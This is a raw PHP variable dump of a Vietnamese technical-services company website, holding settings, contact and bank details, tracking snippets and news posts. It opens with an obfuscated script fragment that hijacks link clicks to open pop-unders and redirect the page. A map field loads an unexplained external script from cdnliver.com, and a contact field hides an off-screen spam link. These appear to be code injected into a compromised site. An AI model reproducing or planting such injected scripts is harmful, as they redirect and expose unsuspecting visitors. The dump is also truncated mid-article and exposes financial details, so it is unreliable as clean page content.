t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ), 'description_for_layout' => '', 'keywords_for_layout' => '', 'tintucnoibat' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'duandatrienkhai' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'slideshow' => array( (int) 0 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 1 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 2 => array( 'Slideshow' => array( [maximum depth reached] ) ) ), 'adv_khuyenmai' => array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ), 'doitac' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'chayphai' => array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ), 'chaytrai' => array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ), 'chiasekinhnghiem' => array(), 'list_menu_footer' => array(), 'danhmuc_left_parent' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'danhmuc' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'support' => array( (int) 0 => array( 'Support' => array( [maximum depth reached] ) ), (int) 1 => array( 'Support' => array( [maximum depth reached] ) ) ), 'content_for_layout' => '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>21/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/vn-tung-co-dong-dat-den-8-do-richter.htm" title=""> <h3> <span>(21-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban-1.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/dong-dat-va-song-than-nguon-nang-luong-huy-diet.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/topo-cua-vu-tru.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ap-luc-tu-hop-tac-quoc-te.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/gan-lam-giac-mo-thien-van-viet-nam.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1">1</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:2">2</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:9">9</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:10">10</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11">11</a></span><span class="current number">12</span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13">13</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:14">14</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:15">15</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:46">46</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47">47</a></span><span class="next"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13" rel="next">Next »</a></span><span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47" rel="last">End »</a></span>Page 12/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>', 'scripts_for_layout' => '' ) $cat12 = array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $title_for_layout = 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ' $tinmoiup = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-19', 'status' => '1', 'view' => '89620', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải 